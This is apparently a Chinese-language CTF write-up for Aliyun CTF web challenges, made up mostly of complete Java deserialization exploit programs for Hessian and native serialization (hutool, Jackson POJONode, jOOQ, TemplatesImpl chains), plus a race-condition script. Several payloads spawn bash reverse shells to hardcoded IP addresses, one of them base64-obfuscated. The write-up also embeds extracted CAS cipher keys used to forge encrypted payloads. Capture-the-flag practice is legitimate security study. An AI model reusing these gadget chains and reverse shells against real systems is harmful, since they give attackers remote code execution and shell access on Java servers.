web

chain17

agent端提供了hessian反序列化,并且提供了getter接口,给了另外一个原生的反序列化。内网有一个server,还需要再打一个原生的反序列化。 首先是用到了cn.hutool.json.JSONObject这个类,不同于fastjson的JSONObject,这个类在调用put的时候才会执行类的getter方法

在set执行过程中,会去还原value的public属性,从而调用它的getter方法。最终会在cn.hutool.core.bean.copier.BeanToMapCopier中会执行sDesc.getValue去调用getter方法。 image.png

而hessian反序列化map的时候会调用put,从而我们可以触发JSONObject的put方法到另一个类的getter。但实际上尝试之后并不太行,之后结合提示可以利用到AtomicReference的toString去触发POJOnode。

最终调用链

JSONObject.put -> AtomicReference.toString -> POJONode.toString -> Bean.getObject -> DSFactory.getDataSource -> Driver.connect

有一点细节就是,在POJOnode调用到getter的时候,会把类getter方法返回的对象的getter再调用一遍。

image.png

exp

package com.aliyunctf.agent.exp;
 
 
import cn.hutool.core.util.SerializeUtil;
import cn.hutool.db.ds.pooled.PooledDSFactory;
import cn.hutool.json.JSONObject;
import cn.hutool.setting.Setting;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.aliyunctf.agent.other.Bean;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import sun.misc.Unsafe;
 
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.concurrent.atomic.AtomicReference;
 
public class exp2 {
    public static void main(String[] args) throws Exception {
 
        Bean bean0 = new Bean();
//        URL url = new URL("http://127.0.0.1:8000?aaa=1");
//        UrlResource urlResource = new UrlResource(url);
//        HttpResource httpResource = new HttpResource(urlResource,"");
////        bean0.setData(getObjectBytes(httpResource));
        bean0.setData(SerializeUtil.serialize(makeDataSource1()));
 
 
        CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();
        POJONode node = new POJONode(bean0);
 
        AtomicReference<POJONode> atomicReference = new AtomicReference<>();
        atomicReference.set(node);
        JSONObject json = new JSONObject();
        LinkedHashMap map = new LinkedHashMap();
        map.put("1", atomicReference);
        setFieldValue(json, "raw", map);
 
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        hessian2Output.writeObject(json);
        hessian2Output.flush();
        hessian2Output.close();
 
        System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
 
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
        Object object = hessian2Input.readObject();
        System.out.println(object);
    }
 
    public static byte[] getObjectBytes(Object obj) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(obj);
        return byteArrayOutputStream.toByteArray();
    }
    public static PooledDSFactory makeDataSource1() throws Exception{
 
//        String url = "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000?aaa=1'";
//        String url = "jdbc:h2:mem:test;INIT=CREATE ALIAS ababab AS 'void MYexec() throws java.lang.Exception {Runtime.getRuntime().exec(\"open -a Calculator\")\\;}'\\;CALL ababab();";
        String url="jdbc:h2:mem:test;INIT=CREATE ALIAS ababab AS 'void MYexec() throws java.lang.Exception {Runtime.getRuntime().exec(new String[]{\"/bin/bash\", \"-c\", \"bash -i >& /dev/tcp/39.107.239.30/2333 0>&1\"})\\;}'\\;CALL ababab();";
        Class<Unsafe> unsafeClass = Unsafe.class;
        Field theUnsafe = unsafeClass.getDeclaredField("theUnsafe");
        theUnsafe.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafe.get(null);
 
        PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);
        setFieldValue(pooledDSFactory,"dsMap", new HashMap<>());
        Setting setting = new Setting();
        setting.put("url", url);
        setting.put("initialSize", "1");
        setting.setCharset(null);
        setFieldValue(pooledDSFactory,"setting", setting);
        return pooledDSFactory;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
    {
        Class<?> clazz = obj.getClass();
        while (clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);
                field.set(obj, value);
                break;
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
    }
}

server端

server端直接给了一个原生反序列化,并且多了一个依赖

<dependency>
    <groupId>org.jooq</groupId>
    <artifactId>jooq</artifactId>
    <version>3.19.3</version>
</dependency>

这里可直接使用的有从XString触发POJOnode到toString方法到任意类的getter,但后续还需要找到能rce的。赛后来看需要找getterinstance的链子,这里尝试用tabby找了下并没有找到,但唯一的一解队伍用的codeql似乎可以,直接给出最后的链子。 官方wp触发点是从EventListenerList.readObject

EventListenerList.readObject -> POJONode.toString -> ConvertedVal.getValue -> ClassPathXmlApplicationContext.<init>
package com.aliyunctf.server.exp;
import cn.hutool.core.io.FileUtil;
import cn.hutool.core.util.ReflectUtil;
import cn.hutool.core.util.SerializeUtil;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.jooq.DataType;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import     javax.security.auth.spi.LoginModule;
import javax.management.BadAttributeValueExpException;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.Vector;
 
// JDK17 VM options:
// --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens java.desktop/javax.swing.event=ALL-UNNAMED
public class PocServer {
 
    public static void main(String[] args) throws Exception {
        gen("http://localhost:1234/exp.xml");
 
    }
 
    public static void gen(String url) throws Exception{
 
        Class clazz1 = Class.forName("org.jooq.impl.Dual");
        Constructor constructor1 = clazz1.getDeclaredConstructors()[0];
        constructor1.setAccessible(true);
        Object table = constructor1.newInstance();
 
        Class clazz2 = Class.forName("org.jooq.impl.TableDataType");
        Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
        constructor2.setAccessible(true);
        Object tableDataType = constructor2.newInstance(table);
 
        Class clazz3 = Class.forName("org.jooq.impl.Val");
        Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class);
        constructor3.setAccessible(true);
        Object val = constructor3.newInstance("whatever", tableDataType, false);
 
        Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal");
        Constructor constructor4 = clazz4.getDeclaredConstructors()[0];
        constructor4.setAccessible(true);
        Object convertedVal = constructor4.newInstance(val, tableDataType);
 
        Object value = url;
        Class type = ClassPathXmlApplicationContext.class;
 
        ReflectUtil.setFieldValue(val, "value", value);
        ReflectUtil.setFieldValue(tableDataType, "uType", type);
 
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(ctMethod);
        ctClass.toClass();
 
        POJONode pojoNode = new POJONode(convertedVal);
 
        EventListenerList eventListenerList = new EventListenerList();
        UndoManager undoManager = new UndoManager();
        Vector vector = (Vector) ReflectUtil.getFieldValue(undoManager, "edits");
        vector.add(pojoNode);
        ReflectUtil.setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});
 
        byte[] data = SerializeUtil.serialize(eventListenerList);
 
        System.out.println(Base64.getEncoder().encodeToString(data));
        SerializeUtil.deserialize(data);
    }
 
}

但还有一种普遍的就是

HashMap.readObject -> XString.equals. ->. POJONode.toString -> ConvertedVal.getValue -> ClassPathXmlApplicationContext.<init>
package com.aliyunctf.server.exp;
import cn.hutool.core.io.FileUtil;
import cn.hutool.core.util.ReflectUtil;
import cn.hutool.core.util.SerializeUtil;
import com.fasterxml.jackson.databind.node.POJONode;
 
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.jooq.DataType;
 
import org.springframework.context.support.ClassPathXmlApplicationContext;
 
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.HashMap;
import java.util.Vector;
 
import static cn.hutool.core.util.SerializeUtil.deserialize;
import static cn.hutool.core.util.SerializeUtil.serialize;
 
public class exp {
    public static void main(String[] args) throws Exception {
        Class clazz1 = Class.forName("org.jooq.impl.Dual");
        Constructor constructor1 = clazz1.getDeclaredConstructors()[0];
        constructor1.setAccessible(true);
        Object table = constructor1.newInstance();
 
        Class clazz2 = Class.forName("org.jooq.impl.TableDataType");
        Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
        constructor2.setAccessible(true);
        Object tableDataType = constructor2.newInstance(table);
 
        Class clazz3 = Class.forName("org.jooq.impl.Val");
        Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class);
        constructor3.setAccessible(true);
        Object val = constructor3.newInstance("whatever", tableDataType, false);
 
        Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal");
        Constructor constructor4 = clazz4.getDeclaredConstructors()[0];
        constructor4.setAccessible(true);
        Object convertedVal = constructor4.newInstance(val, tableDataType);
 
        Object value = "http://localhost:1234/exp.xml";
        Class type = ClassPathXmlApplicationContext.class;
 
        ReflectUtil.setFieldValue(val, "value", value);
        ReflectUtil.setFieldValue(tableDataType, "uType", type);
        // convertedVal.getValue();
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(ctMethod);
        ctClass.toClass();
 
        POJONode pojoNode = new POJONode(convertedVal);
//        pojoNode.toString();
 
        Class cls = Class.forName( "com.sun.org.apache.xpath.internal.objects.XString");
        Constructor constructor = cls.getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        Object xString = constructor.newInstance("1");
 
 
        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy",pojoNode);
        map1.put("zZ",xString);
        map2.put("yy",xString);
        map2.put("zZ",pojoNode);
        HashMap hashMap = makeMap(map1,map2);
        byte[] payload = serialize(hashMap);
        System.out.println(Base64.getEncoder().encodeToString(payload));
//        deserialize(payload);
 
    }
 
    public static HashMap<Object, Object> makeMap (Object v1, Object v2) throws Exception {
        HashMap s = new HashMap();
        ReflectUtil.setFieldValue(s, "size", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
 
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        ReflectUtil.setFieldValue(s, "table", tbl);
        return s;
    }
}

pastebin

可以通过竞争 /flag 与 /about 获取到 FLAG ,有多种并发方式,以下提供一种使用 python 的执行并发的方式,

import asyncio
import aiohttp
 
async def send_request(session, url):
    while True:
        async with session.get(url) as resp:
            text = await resp.text()
            if "aliyunctf" in text:
                print(f"Found 'aliyunctf' in URL: {url}")
                print(text)
                exit()
            print(f"URL: {url}, Status: {resp.status}")
 
async def main():
    urls = ["http://localhost:28080/about", "http://localhost:28080/flag"]
    concurrency_per_url = 20
 
    async with aiohttp.ClientSession() as session:
        tasks = []
        for url in urls:
            for _ in range(concurrency_per_url):
                tasks.append(send_request(session, url))
 
        await asyncio.gather(*tasks)
 
if __name__ == "__main__":
    asyncio.run(main())

easyCAS

登录的execution参数会解密然后反序列化 execution值经过 org.apereo.cas.web.flow.executor.ClientFlowExecutionKey#parse —> org.apereo.cas.web.flow.executor.ClientFlowExecutionRepository#getFlowExecution —> org.apereo.cas.web.flow.executor.EncryptedTranscoder#decode — readObject

/status/heapdump接口里有cookie加密的密钥,伪造反序列化payload的cookie 用 MAT 的 OQL 查询(WebConflowConversationStateCipherExecutor 是 BaseBinary 的子类):

select * from org.apereo.cas.util.cipher.WebConflowConversationStateCipherExecutor

image.png

import com.fasterxml.jackson.databind.node.BaseJsonNode;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apereo.cas.CipherExecutor;
import org.apereo.cas.util.cipher.BaseBinaryCipherExecutor;
import org.apereo.cas.util.cipher.WebflowConversationStateCipherExecutor;
import org.apereo.cas.web.flow.executor.WebflowCipherBean;
import org.apereo.spring.webflow.plugin.ClientFlowExecutionKey;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Objects;
import java.util.PriorityQueue;
import java.util.zip.GZIPInputStream;
import java.util.zip.GZIPOutputStream;
 
 
public class Test {
    public static void main(String[] args) throws Exception {
 
        //序列化的数据
        byte[] bytes = genGadgetBytes();
 
        String secretKeyEncryption = Base64.getEncoder().encodeToString(new byte[] {-108, -54, -116, 85, -42, 107, 77, -44, 48, -93, -62, 71, 126, 2, 71, -111});
 
        String secretKetSigning = new String(new byte[] {65,106,85,105,69,97,111,106,95,87,83,85,78,104,111,78,117,78,117,109,85,119,89,108,70,54,98,103,68,68,86,51,120,98,88,85,65,52,89,85,90,97,101,49,109,79,51,107,118,66,82,118,77,108,117,114,86,105,114,51,81,90,121,119,82,121,115,85,116,45,122,100,120,110,99,87,120,83,69,95,79,65,95,79,86,65});
 
        CipherExecutor cipherExecutor = new WebflowConversationStateCipherExecutor(secretKeyEncryption, secretKetSigning, "AES", 512, 16, "webflow");
 
        WebflowCipherBean webflowCipherBean = new WebflowCipherBean(cipherExecutor);
 
        byte[] cipherBytes = webflowCipherBean.encrypt(bytes);
 
//        System.out.println(new String(cipherBytes));
        System.out.println(Base64.getEncoder().encodeToString(cipherBytes));
 
    }
 
    public static byte[] makeByteCode() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.get(MyTemplate.class.getName());
        String cmd = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzExMS4yMjkuODguMTQ1Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}\");";
        ctClass.makeClassInitializer().insertBefore(cmd);
        ctClass.setName("NormalClass");
        return ctClass.toBytecode();
    }
 
    public static byte[] genGadgetBytes() throws Exception {
 
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{makeByteCode()});
        setFieldValue(obj, "_name", "a");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
 
        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
 
        // stub data for replacement later
        queue.add("1");
        queue.add("1");
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
 
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(queue);
 
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        GZIPOutputStream gzipOutputStream = new GZIPOutputStream(baos);
        gzipOutputStream.write(byteArrayOutputStream.toByteArray());
        gzipOutputStream.flush();
        gzipOutputStream.close();
 
        return baos.toByteArray();
    }
 
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
 
}